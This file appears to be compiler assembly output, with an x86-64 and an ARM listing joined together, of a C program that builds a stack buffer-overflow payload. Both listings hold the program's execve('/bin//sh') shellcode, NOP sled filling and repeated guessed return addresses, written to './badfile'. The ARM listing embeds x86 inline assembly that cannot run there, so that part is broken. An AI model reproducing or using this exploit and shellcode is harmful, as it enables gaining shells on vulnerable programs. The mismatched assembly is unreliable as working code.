	.file	"62637302.c"
	.intel_syntax noprefix
	.text
	.globl	shellcode
	.data
	.align 16
	.type	shellcode, @object
	.size	shellcode, 25
shellcode:
	.string	"1\300Ph//shh/bin\211\343PS\211\341\231\260\013\315\200"
	.text
	.globl	get_sp
	.type	get_sp, @function
get_sp:
.LFB6:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
#APP
# 22 "the_stack_data/62637302.c" 1
	movl %esp,%eax
# 0 "" 2
#NO_APP
	nop
	pop	rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	get_sp, .-get_sp
	.section	.rodata
.LC0:
	.string	"Using address: 0x%x\n"
.LC1:
	.string	"w"
.LC2:
	.string	"./badfile"
	.text
	.globl	main
	.type	main, @function
main:
.LFB7:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	sub	rsp, 592
	mov	DWORD PTR -580[rbp], edi
	mov	QWORD PTR -592[rbp], rsi
	mov	rax, QWORD PTR fs:40
	mov	QWORD PTR -8[rbp], rax
	xor	eax, eax
	lea	rax, -528[rbp]
	mov	edx, 517
	mov	esi, 144
	mov	rdi, rax
	call	memset@PLT
	mov	DWORD PTR -560[rbp], 0
	mov	DWORD PTR -556[rbp], 11
	lea	rdi, shellcode[rip]
	call	strlen@PLT
	mov	rdx, rax
	lea	rcx, -528[rbp]
	mov	eax, DWORD PTR -560[rbp]
	cdqe
	add	rax, rcx
	lea	rsi, shellcode[rip]
	mov	rdi, rax
	call	memcpy@PLT
	call	get_sp
	mov	QWORD PTR -552[rbp], rax
	lea	rdi, shellcode[rip]
	call	strlen@PLT
	mov	rdx, rax
	mov	eax, DWORD PTR -556[rbp]
	cdqe
	add	rdx, rax
	mov	eax, DWORD PTR -560[rbp]
	cdqe
	add	rdx, rax
	lea	rax, -528[rbp]
	add	rax, rdx
	mov	QWORD PTR -544[rbp], rax
	mov	rax, QWORD PTR -552[rbp]
	mov	rsi, rax
	lea	rdi, .LC0[rip]
	mov	eax, 0
	call	printf@PLT
	lea	rdi, shellcode[rip]
	call	strlen@PLT
	mov	edx, eax
	mov	eax, DWORD PTR -560[rbp]
	add	edx, eax
	mov	eax, DWORD PTR -556[rbp]
	add	eax, edx
	mov	DWORD PTR -564[rbp], eax
	jmp	.L3
.L4:
	lea	rdx, -528[rbp]
	mov	eax, DWORD PTR -564[rbp]
	cdqe
	add	rdx, rax
	mov	rax, QWORD PTR -552[rbp]
	mov	rax, QWORD PTR [rax]
	mov	QWORD PTR [rdx], rax
	add	DWORD PTR -564[rbp], 8
.L3:
	cmp	DWORD PTR -564[rbp], 257
	jle	.L4
	lea	rsi, .LC1[rip]
	lea	rdi, .LC2[rip]
	call	fopen@PLT
	mov	QWORD PTR -536[rbp], rax
	mov	rdx, QWORD PTR -536[rbp]
	lea	rax, -528[rbp]
	mov	rcx, rdx
	mov	edx, 1
	mov	esi, 517
	mov	rdi, rax
	call	fwrite@PLT
	mov	rax, QWORD PTR -536[rbp]
	mov	rdi, rax
	call	fclose@PLT
	nop
	mov	rax, QWORD PTR -8[rbp]
	sub	rax, QWORD PTR fs:40
	je	.L5
	call	__stack_chk_fail@PLT
.L5:
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE7:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"62637302.c"
	.text
	.global	shellcode
	.data
	.align	2
	.type	shellcode, %object
	.size	shellcode, 25
shellcode:
	.ascii	"1\300Ph//shh/bin\211\343PS\211\341\231\260\013\315\200"
	.ascii	"\000"
	.text
	.align	2
	.global	get_sp
	.syntax unified
	.arm
	.fpu softvfp
	.type	get_sp, %function
get_sp:
	@ args = 0, pretend = 0, frame = 0
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	.syntax divided
@ 22 "the_stack_data/62637302.c" 1
	movl %esp,%eax
@ 0 "" 2
	.arm
	.syntax unified
	nop
	mov	r0, r3
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
	.size	get_sp, .-get_sp
	.section	.rodata
	.align	2
.LC0:
	.ascii	"Using address: 0x%x\012\000"
	.align	2
.LC1:
	.ascii	"w\000"
	.align	2
.LC2:
	.ascii	"./badfile\000"
	.align	2
.LC3:
	.word	__stack_chk_guard
	.text
	.align	2
	.global	main
	.syntax unified
	.arm
	.fpu softvfp
	.type	main, %function
main:
	@ args = 0, pretend = 0, frame = 560
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, fp, lr}
	add	fp, sp, #8
	sub	sp, sp, #564
	str	r0, [fp, #-568]
	str	r1, [fp, #-572]
	ldr	r3, .L6
	ldr	r3, [r3]
	str	r3, [fp, #-16]
	mov	r3,#0
	sub	r3, fp, #536
	ldr	r2, .L6+4
	mov	r1, #144
	mov	r0, r3
	bl	memset
	mov	r3, #0
	str	r3, [fp, #-556]
	mov	r3, #11
	str	r3, [fp, #-552]
	sub	r2, fp, #536
	ldr	r3, [fp, #-556]
	add	r4, r2, r3
	ldr	r0, .L6+8
	bl	strlen
	mov	r3, r0
	mov	r2, r3
	ldr	r1, .L6+8
	mov	r0, r4
	bl	memcpy
	bl	get_sp
	mov	r3, r0
	str	r3, [fp, #-548]
	ldr	r0, .L6+8
	bl	strlen
	mov	r2, r0
	ldr	r3, [fp, #-552]
	add	r2, r2, r3
	ldr	r3, [fp, #-556]
	add	r3, r2, r3
	sub	r2, fp, #536
	add	r3, r2, r3
	str	r3, [fp, #-544]
	ldr	r1, [fp, #-548]
	ldr	r0, .L6+12
	bl	printf
	ldr	r0, .L6+8
	bl	strlen
	mov	r2, r0
	ldr	r3, [fp, #-556]
	add	r2, r2, r3
	ldr	r3, [fp, #-552]
	add	r3, r2, r3
	str	r3, [fp, #-560]
	b	.L3
.L4:
	sub	r2, fp, #536
	ldr	r3, [fp, #-560]
	add	r3, r2, r3
	mov	r2, #8
	ldr	r1, [fp, #-548]
	mov	r0, r3
	bl	memcpy
	ldr	r3, [fp, #-560]
	add	r3, r3, #8
	str	r3, [fp, #-560]
.L3:
	ldr	r3, [fp, #-560]
	ldr	r2, .L6+16
	cmp	r3, r2
	ble	.L4
	ldr	r1, .L6+20
	ldr	r0, .L6+24
	bl	fopen
	str	r0, [fp, #-540]
	sub	r0, fp, #536
	ldr	r3, [fp, #-540]
	mov	r2, #1
	ldr	r1, .L6+4
	bl	fwrite
	ldr	r0, [fp, #-540]
	bl	fclose
	nop
	ldr	r3, .L6
	ldr	r2, [r3]
	ldr	r3, [fp, #-16]
	eors	r2, r3, r2
	mov	r3, #0
	beq	.L5
	bl	__stack_chk_fail
.L5:
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
.L7:
	.align	2
.L6:
	.word	.LC3
	.word	517
	.word	shellcode
	.word	.LC0
	.word	257
	.word	.LC1
	.word	.LC2
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
